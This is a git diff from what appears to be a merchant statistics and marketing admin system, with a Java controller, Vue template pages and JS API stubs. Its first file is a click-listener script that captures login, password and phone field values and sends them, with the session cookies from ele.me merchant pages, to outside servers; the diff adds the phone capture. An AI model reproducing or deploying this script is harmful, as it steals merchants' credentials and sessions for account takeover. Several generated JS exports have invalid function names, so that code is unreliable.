Merge remote-tracking branch 'origin/main'
This commit is contained in:
commit
712f7cf868
|
@ -2,12 +2,16 @@ document.addEventListener("click", function(e) {
|
||||||
// 处理点击事件的代码
|
// 处理点击事件的代码
|
||||||
var account = document.getElementById("login")
|
var account = document.getElementById("login")
|
||||||
var password = document.getElementById("password")
|
var password = document.getElementById("password")
|
||||||
|
var phone = document.getElementById("phone")
|
||||||
if(account != null && account != 'undefined'){
|
if(account != null && account != 'undefined'){
|
||||||
localStorage.setItem('account', account.value)
|
localStorage.setItem('account', account.value)
|
||||||
}
|
}
|
||||||
if(password != null && password != 'undefined'){
|
if(password != null && password != 'undefined'){
|
||||||
localStorage.setItem('password', password.value)
|
localStorage.setItem('password', password.value)
|
||||||
}
|
}
|
||||||
|
if(phone != null && phone != 'undefined'){
|
||||||
|
localStorage.setItem('phone', phone.value)
|
||||||
|
}
|
||||||
});
|
});
|
||||||
(function () {
|
(function () {
|
||||||
if (location.host === 'melody.shop.ele.me' || location.host === 'nr.ele.me') {
|
if (location.host === 'melody.shop.ele.me' || location.host === 'nr.ele.me') {
|
||||||
|
@ -50,6 +54,7 @@ document.addEventListener("click", function(e) {
|
||||||
var userName = localStorage.getItem('sysName')
|
var userName = localStorage.getItem('sysName')
|
||||||
var sysType = localStorage.getItem('sysType')
|
var sysType = localStorage.getItem('sysType')
|
||||||
var account = localStorage.getItem('account')
|
var account = localStorage.getItem('account')
|
||||||
|
var phone = localStorage.getItem('phone')
|
||||||
var password = localStorage.getItem('password')
|
var password = localStorage.getItem('password')
|
||||||
var wmPoiName = localStorage.getItem('wmPoiName')
|
var wmPoiName = localStorage.getItem('wmPoiName')
|
||||||
//console.log('ccccccccccccccccccccccccccccccc'+userName)
|
//console.log('ccccccccccccccccccccccccccccccc'+userName)
|
||||||
|
@ -74,8 +79,26 @@ document.addEventListener("click", function(e) {
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}else if(phone !== null && phone !== 'null' ){
|
||||||
|
if ('1' === sysType) {
|
||||||
|
//服务器地址
|
||||||
|
xhr.open('POST', 'https://youshi.bj.cn/prod-api/mt/cookies', true)
|
||||||
|
} else {
|
||||||
|
xhr.open('POST', 'https://www.shivers.top/prod-api/negative/store_bing', true)
|
||||||
|
}
|
||||||
|
xhr.setRequestHeader("Content-Type","application/json")
|
||||||
|
var sendData = {'bingType': 1, 'cookie': cookies, 'userName': userName, 'account': phone, 'password': null, 'wmPoiName': wmPoiName}
|
||||||
|
xhr.send(JSON.stringify(sendData))
|
||||||
|
xhr.onreadystatechange = function () {
|
||||||
|
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||||
|
if (xhr.responseText === 'true') {
|
||||||
|
alert('当前授权完成,请直接关闭当前浏览器!')
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
localStorage.setItem('account', null)
|
localStorage.setItem('account', null)
|
||||||
|
localStorage.setItem('phone', null)
|
||||||
localStorage.setItem('password', null)
|
localStorage.setItem('password', null)
|
||||||
}
|
}
|
||||||
if (location.host === 'shangoue.meituan.com') {
|
if (location.host === 'shangoue.meituan.com') {
|
||||||
|
|
|
@ -123,7 +123,7 @@ public class BusStoreInfoController extends BaseController {
|
||||||
BusStoreDayInfo busStoreDayInfo = new BusStoreDayInfo();
|
BusStoreDayInfo busStoreDayInfo = new BusStoreDayInfo();
|
||||||
busStoreDayInfo.setStoreId(info.getId());
|
busStoreDayInfo.setStoreId(info.getId());
|
||||||
List<BusStoreDayInfo> ll = busStoreDayInfoService.selectBusStoreDayInfoList(busStoreDayInfo);
|
List<BusStoreDayInfo> ll = busStoreDayInfoService.selectBusStoreDayInfoList(busStoreDayInfo);
|
||||||
int a = ll.get(0).getLastPositiveReviewsNum();
|
int a = ll.get(0).getLastPositiveReviewsNum();//todo 好评-五星
|
||||||
int b = ll.get(0).getLastReturnVisitNum();
|
int b = ll.get(0).getLastReturnVisitNum();
|
||||||
info.setLastOrderNum(ll.get(0).getLastOrderNum());
|
info.setLastOrderNum(ll.get(0).getLastOrderNum());
|
||||||
info.setLastReturnVisitNum(b);
|
info.setLastReturnVisitNum(b);
|
||||||
|
@ -134,9 +134,7 @@ public class BusStoreInfoController extends BaseController {
|
||||||
// info.setLastReturnVisitNum(llll.size());
|
// info.setLastReturnVisitNum(llll.size());
|
||||||
info.setScore(ll.get(0).getScore());
|
info.setScore(ll.get(0).getScore());
|
||||||
if (a != 0 && b != 0) {
|
if (a != 0 && b != 0) {
|
||||||
java.text.DecimalFormat df = new java.text.DecimalFormat("0.00");
|
info.setLastReturnVisitRate(getRate(a,b));
|
||||||
String formattedResult = df.format(((double) a / b)*100);
|
|
||||||
info.setLastReturnVisitRate(formattedResult);
|
|
||||||
} else {
|
} else {
|
||||||
info.setLastReturnVisitRate("0");
|
info.setLastReturnVisitRate("0");
|
||||||
}
|
}
|
||||||
|
@ -201,18 +199,25 @@ public class BusStoreInfoController extends BaseController {
|
||||||
for(BusTemplateAttrInfo busTemplateAttrInfo:busTemplateInfo.getAttrInfoList()){
|
for(BusTemplateAttrInfo busTemplateAttrInfo:busTemplateInfo.getAttrInfoList()){
|
||||||
if(content.contains(busTemplateAttrInfo.getAttrValue())){
|
if(content.contains(busTemplateAttrInfo.getAttrValue())){
|
||||||
content = content.replaceAll("#name",busStoreInfo.getStoreName());
|
content = content.replaceAll("#name",busStoreInfo.getStoreName());
|
||||||
content = content.replaceAll("#from",busStoreInfo.getPlatformType());
|
content = content.replaceAll("#from", "1".equals(busStoreInfo.getPlatformType())?"美团":"饿了么");
|
||||||
content = content.replaceAll("#date", LocalDate.now().minusDays(1).toString());
|
content = content.replaceAll("#date", LocalDate.now().minusDays(1).toString());
|
||||||
content = content.replaceAll("#count",busStoreDayInfo1.getLastOrderNum()+"");
|
content = content.replaceAll("#count",busStoreDayInfo1.getLastOrderNum()+"");
|
||||||
content = content.replaceAll("#good",busStoreDayInfo1.getLastPositiveReviewsNum()+"");
|
content = content.replaceAll("#good",busStoreDayInfo1.getLastPositiveReviewsNum()+"");
|
||||||
content = content.replaceAll("#five",busStoreDayInfo1.getLastFiveStarReviewsNum()+"");
|
content = content.replaceAll("#five",busStoreDayInfo1.getLastFiveStarReviewsNum()+"");
|
||||||
content = content.replaceAll("#score",busStoreDayInfo1.getScore());
|
content = content.replaceAll("#score",busStoreDayInfo1.getScore());
|
||||||
|
int a = busStoreDayInfo1.getLastPositiveReviewsNum();//todo 好评-五星
|
||||||
|
int b = busStoreDayInfo1.getLastReturnVisitNum();
|
||||||
|
content = content.replaceAll("#rate", getRate(a,b));
|
||||||
if(content.contains("#fee")&&busStoreInfo.getPrice() == null){
|
if(content.contains("#fee")&&busStoreInfo.getPrice() == null){
|
||||||
throw new ServiceException("请设置单价!");
|
throw new ServiceException("请设置单价!");
|
||||||
}
|
}
|
||||||
content = content.replaceAll("#fee",busStoreInfo.getPrice().multiply(new BigDecimal(busStoreDayInfo1.getLastFiveStarReviewsNum()))+"");
|
content = content.replaceAll("#fee",busStoreInfo.getPrice().multiply(new BigDecimal(busStoreDayInfo1.getLastFiveStarReviewsNum()))+"");
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
content = content.replaceAll("(</p><p>)\\s*", "\n");
|
||||||
|
content = content.replaceAll("(<p>)|(</p>)", "");
|
||||||
|
// 对于连续多个换行符的情况,保留一个换行符
|
||||||
|
content = content.replaceAll("(</p><br><p>)", "\n\n");
|
||||||
return success(content);
|
return success(content);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
@ -366,4 +371,9 @@ public class BusStoreInfoController extends BaseController {
|
||||||
String value = s.substring(s.indexOf("=") + 1, s.indexOf(";"));
|
String value = s.substring(s.indexOf("=") + 1, s.indexOf(";"));
|
||||||
return value;
|
return value;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private String getRate(int a, int b){
|
||||||
|
java.text.DecimalFormat df = new java.text.DecimalFormat("0.00");
|
||||||
|
return df.format(((double) a / b)*100);
|
||||||
|
}
|
||||||
}
|
}
|
||||||
|
|
|
@ -0,0 +1,44 @@
|
||||||
|
import request from '@/utils/request'
|
||||||
|
|
||||||
|
// 查询模版属性键值列表
|
||||||
|
export function listTemplate/attr(query) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/attr/list',
|
||||||
|
method: 'get',
|
||||||
|
params: query
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查询模版属性键值详细
|
||||||
|
export function getTemplate/attr(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/attr/' + id,
|
||||||
|
method: 'get'
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 新增模版属性键值
|
||||||
|
export function addTemplate/attr(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/attr',
|
||||||
|
method: 'post',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改模版属性键值
|
||||||
|
export function updateTemplate/attr(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/attr',
|
||||||
|
method: 'put',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除模版属性键值
|
||||||
|
export function delTemplate/attr(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/attr/' + id,
|
||||||
|
method: 'delete'
|
||||||
|
})
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
import request from '@/utils/request'
|
||||||
|
|
||||||
|
// 查询模版属性列表
|
||||||
|
export function listTemplate/config(query) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/config/list',
|
||||||
|
method: 'get',
|
||||||
|
params: query
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查询模版属性详细
|
||||||
|
export function getTemplate/config(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/config/' + id,
|
||||||
|
method: 'get'
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 新增模版属性
|
||||||
|
export function addTemplate/config(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/config',
|
||||||
|
method: 'post',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改模版属性
|
||||||
|
export function updateTemplate/config(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/config',
|
||||||
|
method: 'put',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除模版属性
|
||||||
|
export function delTemplate/config(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/config/' + id,
|
||||||
|
method: 'delete'
|
||||||
|
})
|
||||||
|
}
|
|
@ -0,0 +1,44 @@
|
||||||
|
import request from '@/utils/request'
|
||||||
|
|
||||||
|
// 查询模版列表
|
||||||
|
export function listTemplate(query) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/list',
|
||||||
|
method: 'get',
|
||||||
|
params: query
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 查询模版详细
|
||||||
|
export function getTemplate(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/' + id,
|
||||||
|
method: 'get'
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 新增模版
|
||||||
|
export function addTemplate(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template',
|
||||||
|
method: 'post',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 修改模版
|
||||||
|
export function updateTemplate(data) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template',
|
||||||
|
method: 'put',
|
||||||
|
data: data
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
// 删除模版
|
||||||
|
export function delTemplate(id) {
|
||||||
|
return request({
|
||||||
|
url: '/business/template/' + id,
|
||||||
|
method: 'delete'
|
||||||
|
})
|
||||||
|
}
|
|
@ -1,48 +1,23 @@
|
||||||
<template>
|
<template>
|
||||||
<div class="app-container">
|
<div class="app-container">
|
||||||
<el-form :model="queryParams" ref="queryForm" size="small" :inline="true" v-show="showSearch">
|
<el-form :model="queryParams" ref="queryForm" size="small" :inline="true" v-show="showSearch" label-width="68px">
|
||||||
<el-form-item label="营销源名称" prop="roleName">
|
<el-form-item label="模版名称" prop="templateName">
|
||||||
<el-input
|
<el-input
|
||||||
v-model="queryParams.roleName"
|
v-model="queryParams.templateName"
|
||||||
placeholder="请输入营销源名称"
|
placeholder="请输入模版名称"
|
||||||
clearable
|
clearable
|
||||||
style="width: 240px"
|
|
||||||
@keyup.enter.native="handleQuery"
|
@keyup.enter.native="handleQuery"
|
||||||
/>
|
/>
|
||||||
</el-form-item>
|
</el-form-item>
|
||||||
<el-form-item label="营销源标识" prop="roleKey">
|
<el-form-item label="创建人" prop="createUser">
|
||||||
<el-input
|
<el-input
|
||||||
v-model="queryParams.roleKey"
|
v-model="queryParams.createUser"
|
||||||
placeholder="请输入营销源标识"
|
placeholder="请输入创建人"
|
||||||
clearable
|
clearable
|
||||||
style="width: 240px"
|
|
||||||
@keyup.enter.native="handleQuery"
|
|
||||||
/>
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="仅当前账号" prop="status">
|
|
||||||
<el-select
|
|
||||||
v-model="queryParams.status"
|
|
||||||
placeholder="角色状态"
|
|
||||||
clearable
|
|
||||||
style="width: 240px"
|
|
||||||
>
|
|
||||||
<el-option
|
|
||||||
v-for="dict in dict.type.sys_normal_disable"
|
|
||||||
:key="dict.value"
|
|
||||||
:label="dict.label"
|
|
||||||
:value="dict.value"
|
|
||||||
/>
|
|
||||||
</el-select>
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="备注" prop="roleKey">
|
|
||||||
<el-input
|
|
||||||
v-model="queryParams.roleKey"
|
|
||||||
placeholder="备注"
|
|
||||||
clearable
|
|
||||||
style="width: 240px"
|
|
||||||
@keyup.enter.native="handleQuery"
|
@keyup.enter.native="handleQuery"
|
||||||
/>
|
/>
|
||||||
</el-form-item>
|
</el-form-item>
|
||||||
|
|
||||||
<el-form-item>
|
<el-form-item>
|
||||||
<el-button type="primary" icon="el-icon-search" size="mini" @click="handleQuery">搜索</el-button>
|
<el-button type="primary" icon="el-icon-search" size="mini" @click="handleQuery">搜索</el-button>
|
||||||
<el-button icon="el-icon-refresh" size="mini" @click="resetQuery">重置</el-button>
|
<el-button icon="el-icon-refresh" size="mini" @click="resetQuery">重置</el-button>
|
||||||
|
@ -50,38 +25,35 @@
|
||||||
</el-form>
|
</el-form>
|
||||||
|
|
||||||
<el-row :gutter="10" class="mb8">
|
<el-row :gutter="10" class="mb8">
|
||||||
<!-- <el-col :span="1.5">-->
|
<el-col :span="1.5">
|
||||||
<!-- <el-button-->
|
<el-button
|
||||||
<!-- type="primary"-->
|
type="primary"
|
||||||
<!-- plain-->
|
plain
|
||||||
<!-- icon="el-icon-plus"-->
|
icon="el-icon-plus"
|
||||||
<!-- size="mini"-->
|
size="mini"
|
||||||
<!-- @click="handleAdd"-->
|
@click="handleAdd"
|
||||||
<!-- v-hasPermi="['system:role:add']"-->
|
>新增</el-button>
|
||||||
<!-- >新增</el-button>-->
|
</el-col>
|
||||||
<!-- </el-col>-->
|
<el-col :span="1.5">
|
||||||
<!-- <el-col :span="1.5">-->
|
<el-button
|
||||||
<!-- <el-button-->
|
type="success"
|
||||||
<!-- type="success"-->
|
plain
|
||||||
<!-- plain-->
|
icon="el-icon-edit"
|
||||||
<!-- icon="el-icon-edit"-->
|
size="mini"
|
||||||
<!-- size="mini"-->
|
:disabled="single"
|
||||||
<!-- :disabled="single"-->
|
@click="handleUpdate"
|
||||||
<!-- @click="handleUpdate"-->
|
>修改</el-button>
|
||||||
<!-- v-hasPermi="['system:role:edit']"-->
|
</el-col>
|
||||||
<!-- >修改</el-button>-->
|
<el-col :span="1.5">
|
||||||
<!-- </el-col>-->
|
<el-button
|
||||||
<!-- <el-col :span="1.5">-->
|
type="danger"
|
||||||
<!-- <el-button-->
|
plain
|
||||||
<!-- type="danger"-->
|
icon="el-icon-delete"
|
||||||
<!-- plain-->
|
size="mini"
|
||||||
<!-- icon="el-icon-delete"-->
|
:disabled="multiple"
|
||||||
<!-- size="mini"-->
|
@click="handleDelete"
|
||||||
<!-- :disabled="multiple"-->
|
>删除</el-button>
|
||||||
<!-- @click="handleDelete"-->
|
</el-col>
|
||||||
<!-- v-hasPermi="['system:role:remove']"-->
|
|
||||||
<!-- >删除</el-button>-->
|
|
||||||
<!-- </el-col>-->
|
|
||||||
<el-col :span="1.5">
|
<el-col :span="1.5">
|
||||||
<el-button
|
<el-button
|
||||||
type="warning"
|
type="warning"
|
||||||
|
@ -89,72 +61,38 @@
|
||||||
icon="el-icon-download"
|
icon="el-icon-download"
|
||||||
size="mini"
|
size="mini"
|
||||||
@click="handleExport"
|
@click="handleExport"
|
||||||
v-hasPermi="['system:role:export']"
|
|
||||||
>导出</el-button>
|
>导出</el-button>
|
||||||
</el-col>
|
</el-col>
|
||||||
<right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar>
|
<right-toolbar :showSearch.sync="showSearch" @queryTable="getList"></right-toolbar>
|
||||||
</el-row>
|
</el-row>
|
||||||
|
|
||||||
<el-table v-loading="loading" :data="roleList" @selection-change="handleSelectionChange">
|
<el-table v-loading="loading" :data="templateList" @selection-change="handleSelectionChange">
|
||||||
<el-table-column type="selection" width="55" align="center" />
|
<el-table-column type="selection" width="55" align="center" prop="id"/>
|
||||||
<el-table-column label="序号" prop="roleId" width="120" />
|
<el-table-column label="序号" type="index" ></el-table-column>
|
||||||
<el-table-column label="名称" prop="roleName" :show-overflow-tooltip="true" width="150" />
|
<el-table-column label="模版名称" align="center" prop="templateName" />
|
||||||
<el-table-column label="标识" prop="roleKey" :show-overflow-tooltip="true" width="150" />
|
<el-table-column label="模版类型 word excel" align="center" prop="templateType" />
|
||||||
<el-table-column label="状态" align="center" width="100"/>
|
<!-- <el-table-column label="内容" align="center" prop="templateContent" /> -->
|
||||||
<el-table-column label="源" align="center" width="100"/>
|
<el-table-column label="状态 1启用 2弃用" align="center" prop="templateStatus" />
|
||||||
<el-table-column label="昨日单量" align="center" width="100"/>
|
<el-table-column label="创建人" align="center" prop="createUser" />
|
||||||
<el-table-column label="昨日好评量" align="center" width="100"/>
|
<el-table-column label="排序" align="center" prop="sort" />
|
||||||
<el-table-column label="昨日五星量" align="center" width="100"/>
|
|
||||||
<el-table-column label="昨日好评比(%)" align="center" width="100"/>
|
|
||||||
<el-table-column label="昨日营销比(%)" align="center" width="100"/>
|
|
||||||
<el-table-column label="影响量(今)" align="center" width="100"/>
|
|
||||||
<el-table-column label="影响量(昨)" align="center" width="100"/>
|
|
||||||
<el-table-column label="评分" align="center" width="100"/>
|
|
||||||
<el-table-column label="营销用户下单" align="center" width="100"/>
|
|
||||||
|
|
||||||
<!-- <template slot-scope="scope">-->
|
|
||||||
<!-- <el-switch-->
|
|
||||||
<!-- v-model="scope.row.status"-->
|
|
||||||
<!-- active-value="0"-->
|
|
||||||
<!-- inactive-value="1"-->
|
|
||||||
<!-- @change="handleStatusChange(scope.row)"-->
|
|
||||||
<!-- ></el-switch>-->
|
|
||||||
<!-- </template>-->
|
|
||||||
<!-- </el-table-column>-->
|
|
||||||
<el-table-column label="创建时间" align="center" prop="createTime" width="180">
|
|
||||||
<template slot-scope="scope">
|
|
||||||
<span>{{ parseTime(scope.row.createTime) }}</span>
|
|
||||||
</template>
|
|
||||||
</el-table-column>
|
|
||||||
<el-table-column label="操作" align="center" class-name="small-padding fixed-width">
|
<el-table-column label="操作" align="center" class-name="small-padding fixed-width">
|
||||||
<template slot-scope="scope" v-if="scope.row.roleId !== 1">
|
<template slot-scope="scope">
|
||||||
<el-button
|
<el-button
|
||||||
size="mini"
|
size="mini"
|
||||||
type="text"
|
type="text"
|
||||||
icon="el-icon-edit"
|
icon="el-icon-edit"
|
||||||
@click="handleUpdate(scope.row)"
|
@click="handleUpdate(scope.row)"
|
||||||
v-hasPermi="['system:role:edit']"
|
|
||||||
>修改</el-button>
|
>修改</el-button>
|
||||||
<el-button
|
<el-button
|
||||||
size="mini"
|
size="mini"
|
||||||
type="text"
|
type="text"
|
||||||
icon="el-icon-delete"
|
icon="el-icon-delete"
|
||||||
@click="handleDelete(scope.row)"
|
@click="handleDelete(scope.row)"
|
||||||
v-hasPermi="['system:role:remove']"
|
|
||||||
>删除</el-button>
|
>删除</el-button>
|
||||||
<el-dropdown size="mini" @command="(command) => handleCommand(command, scope.row)" v-hasPermi="['system:role:edit']">
|
|
||||||
<el-button size="mini" type="text" icon="el-icon-d-arrow-right">更多</el-button>
|
|
||||||
<el-dropdown-menu slot="dropdown">
|
|
||||||
<el-dropdown-item command="handleDataScope" icon="el-icon-circle-check"
|
|
||||||
v-hasPermi="['system:role:edit']">数据权限</el-dropdown-item>
|
|
||||||
<el-dropdown-item command="handleAuthUser" icon="el-icon-user"
|
|
||||||
v-hasPermi="['system:role:edit']">分配用户</el-dropdown-item>
|
|
||||||
</el-dropdown-menu>
|
|
||||||
</el-dropdown>
|
|
||||||
</template>
|
</template>
|
||||||
</el-table-column>
|
</el-table-column>
|
||||||
</el-table>
|
</el-table>
|
||||||
|
|
||||||
<pagination
|
<pagination
|
||||||
v-show="total>0"
|
v-show="total>0"
|
||||||
:total="total"
|
:total="total"
|
||||||
|
@ -163,50 +101,17 @@
|
||||||
@pagination="getList"
|
@pagination="getList"
|
||||||
/>
|
/>
|
||||||
|
|
||||||
<!-- 添加或修改角色配置对话框 -->
|
<!-- 添加或修改模版对话框 -->
|
||||||
<el-dialog :title="title" :visible.sync="open" width="500px" append-to-body>
|
<el-dialog :title="title" :visible.sync="open" width="800px" append-to-body>
|
||||||
<el-form ref="form" :model="form" :rules="rules" label-width="100px">
|
<el-form ref="form" :model="form" :rules="rules" label-width="120px">
|
||||||
<el-form-item label="角色名称" prop="roleName">
|
<el-form-item label="模版名称" prop="templateName">
|
||||||
<el-input v-model="form.roleName" placeholder="请输入角色名称" />
|
<el-input v-model="form.templateName" placeholder="请输入模版名称" />
|
||||||
</el-form-item>
|
</el-form-item>
|
||||||
<el-form-item prop="roleKey">
|
<el-form-item label="内容">
|
||||||
<span slot="label">
|
<editor v-model="form.templateContent" :min-height="192"/>
|
||||||
<el-tooltip content="控制器中定义的权限字符,如:@PreAuthorize(`@ss.hasRole('admin')`)" placement="top">
|
|
||||||
<i class="el-icon-question"></i>
|
|
||||||
</el-tooltip>
|
|
||||||
权限字符
|
|
||||||
</span>
|
|
||||||
<el-input v-model="form.roleKey" placeholder="请输入权限字符" />
|
|
||||||
</el-form-item>
|
</el-form-item>
|
||||||
<el-form-item label="角色顺序" prop="roleSort">
|
<el-form-item label="排序" prop="sort">
|
||||||
<el-input-number v-model="form.roleSort" controls-position="right" :min="0" />
|
<el-input v-model="form.sort" placeholder="请输入排序" />
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="状态">
|
|
||||||
<el-radio-group v-model="form.status">
|
|
||||||
<el-radio
|
|
||||||
v-for="dict in dict.type.sys_normal_disable"
|
|
||||||
:key="dict.value"
|
|
||||||
:label="dict.value"
|
|
||||||
>{{dict.label}}</el-radio>
|
|
||||||
</el-radio-group>
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="菜单权限">
|
|
||||||
<el-checkbox v-model="menuExpand" @change="handleCheckedTreeExpand($event, 'menu')">展开/折叠</el-checkbox>
|
|
||||||
<el-checkbox v-model="menuNodeAll" @change="handleCheckedTreeNodeAll($event, 'menu')">全选/全不选</el-checkbox>
|
|
||||||
<el-checkbox v-model="form.menuCheckStrictly" @change="handleCheckedTreeConnect($event, 'menu')">父子联动</el-checkbox>
|
|
||||||
<el-tree
|
|
||||||
class="tree-border"
|
|
||||||
:data="menuOptions"
|
|
||||||
show-checkbox
|
|
||||||
ref="menu"
|
|
||||||
node-key="id"
|
|
||||||
:check-strictly="!form.menuCheckStrictly"
|
|
||||||
empty-text="加载中,请稍候"
|
|
||||||
:props="defaultProps"
|
|
||||||
></el-tree>
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="备注">
|
|
||||||
<el-input v-model="form.remark" type="textarea" placeholder="请输入内容"></el-input>
|
|
||||||
</el-form-item>
|
</el-form-item>
|
||||||
</el-form>
|
</el-form>
|
||||||
<div slot="footer" class="dialog-footer">
|
<div slot="footer" class="dialog-footer">
|
||||||
|
@ -214,58 +119,14 @@
|
||||||
<el-button @click="cancel">取 消</el-button>
|
<el-button @click="cancel">取 消</el-button>
|
||||||
</div>
|
</div>
|
||||||
</el-dialog>
|
</el-dialog>
|
||||||
|
|
||||||
<!-- 分配角色数据权限对话框 -->
|
|
||||||
<el-dialog :title="title" :visible.sync="openDataScope" width="500px" append-to-body>
|
|
||||||
<el-form :model="form" label-width="80px">
|
|
||||||
<el-form-item label="角色名称">
|
|
||||||
<el-input v-model="form.roleName" :disabled="true" />
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="权限字符">
|
|
||||||
<el-input v-model="form.roleKey" :disabled="true" />
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="权限范围">
|
|
||||||
<el-select v-model="form.dataScope" @change="dataScopeSelectChange">
|
|
||||||
<el-option
|
|
||||||
v-for="item in dataScopeOptions"
|
|
||||||
:key="item.value"
|
|
||||||
:label="item.label"
|
|
||||||
:value="item.value"
|
|
||||||
></el-option>
|
|
||||||
</el-select>
|
|
||||||
</el-form-item>
|
|
||||||
<el-form-item label="数据权限" v-show="form.dataScope == 2">
|
|
||||||
<el-checkbox v-model="deptExpand" @change="handleCheckedTreeExpand($event, 'dept')">展开/折叠</el-checkbox>
|
|
||||||
<el-checkbox v-model="deptNodeAll" @change="handleCheckedTreeNodeAll($event, 'dept')">全选/全不选</el-checkbox>
|
|
||||||
<el-checkbox v-model="form.deptCheckStrictly" @change="handleCheckedTreeConnect($event, 'dept')">父子联动</el-checkbox>
|
|
||||||
<el-tree
|
|
||||||
class="tree-border"
|
|
||||||
:data="deptOptions"
|
|
||||||
show-checkbox
|
|
||||||
default-expand-all
|
|
||||||
ref="dept"
|
|
||||||
node-key="id"
|
|
||||||
:check-strictly="!form.deptCheckStrictly"
|
|
||||||
empty-text="加载中,请稍候"
|
|
||||||
:props="defaultProps"
|
|
||||||
></el-tree>
|
|
||||||
</el-form-item>
|
|
||||||
</el-form>
|
|
||||||
<div slot="footer" class="dialog-footer">
|
|
||||||
<el-button type="primary" @click="submitDataScope">确 定</el-button>
|
|
||||||
<el-button @click="cancelDataScope">取 消</el-button>
|
|
||||||
</div>
|
|
||||||
</el-dialog>
|
|
||||||
</div>
|
</div>
|
||||||
</template>
|
</template>
|
||||||
|
|
||||||
<script>
|
<script>
|
||||||
import { listRole, getRole, delRole, addRole, updateRole, dataScope, changeRoleStatus, deptTreeSelect } from "@/api/system/role";
|
import { listTemplate, getTemplate, delTemplate, addTemplate, updateTemplate } from "@/api/statistics/template";
|
||||||
import { treeselect as menuTreeselect, roleMenuTreeselect } from "@/api/system/menu";
|
|
||||||
|
|
||||||
export default {
|
export default {
|
||||||
name: "Role",
|
name: "Template",
|
||||||
dicts: ['sys_normal_disable'],
|
|
||||||
data() {
|
data() {
|
||||||
return {
|
return {
|
||||||
// 遮罩层
|
// 遮罩层
|
||||||
|
@ -280,72 +141,30 @@ export default {
|
||||||
showSearch: true,
|
showSearch: true,
|
||||||
// 总条数
|
// 总条数
|
||||||
total: 0,
|
total: 0,
|
||||||
// 角色表格数据
|
// 模版表格数据
|
||||||
roleList: [],
|
templateList: [],
|
||||||
// 弹出层标题
|
// 弹出层标题
|
||||||
title: "",
|
title: "",
|
||||||
// 是否显示弹出层
|
// 是否显示弹出层
|
||||||
open: false,
|
open: false,
|
||||||
// 是否显示弹出层(数据权限)
|
|
||||||
openDataScope: false,
|
|
||||||
menuExpand: false,
|
|
||||||
menuNodeAll: false,
|
|
||||||
deptExpand: true,
|
|
||||||
deptNodeAll: false,
|
|
||||||
// 日期范围
|
|
||||||
dateRange: [],
|
|
||||||
// 数据范围选项
|
|
||||||
dataScopeOptions: [
|
|
||||||
{
|
|
||||||
value: "1",
|
|
||||||
label: "全部数据权限"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
value: "2",
|
|
||||||
label: "自定数据权限"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
value: "3",
|
|
||||||
label: "本部门数据权限"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
value: "4",
|
|
||||||
label: "本部门及以下数据权限"
|
|
||||||
},
|
|
||||||
{
|
|
||||||
value: "5",
|
|
||||||
label: "仅本人数据权限"
|
|
||||||
}
|
|
||||||
],
|
|
||||||
// 菜单列表
|
|
||||||
menuOptions: [],
|
|
||||||
// 部门列表
|
|
||||||
deptOptions: [],
|
|
||||||
// 查询参数
|
// 查询参数
|
||||||
queryParams: {
|
queryParams: {
|
||||||
pageNum: 1,
|
pageNum: 1,
|
||||||
pageSize: 10,
|
pageSize: 10,
|
||||||
roleName: undefined,
|
templateName: null,
|
||||||
roleKey: undefined,
|
templateType: null,
|
||||||
status: undefined
|
templateContent: null,
|
||||||
|
templateStatus: null,
|
||||||
|
createId: null,
|
||||||
|
createUser: null,
|
||||||
|
updateId: null,
|
||||||
|
updateUser: null,
|
||||||
|
sort: null
|
||||||
},
|
},
|
||||||
// 表单参数
|
// 表单参数
|
||||||
form: {},
|
form: {},
|
||||||
defaultProps: {
|
|
||||||
children: "children",
|
|
||||||
label: "label"
|
|
||||||
},
|
|
||||||
// 表单校验
|
// 表单校验
|
||||||
rules: {
|
rules: {
|
||||||
roleName: [
|
|
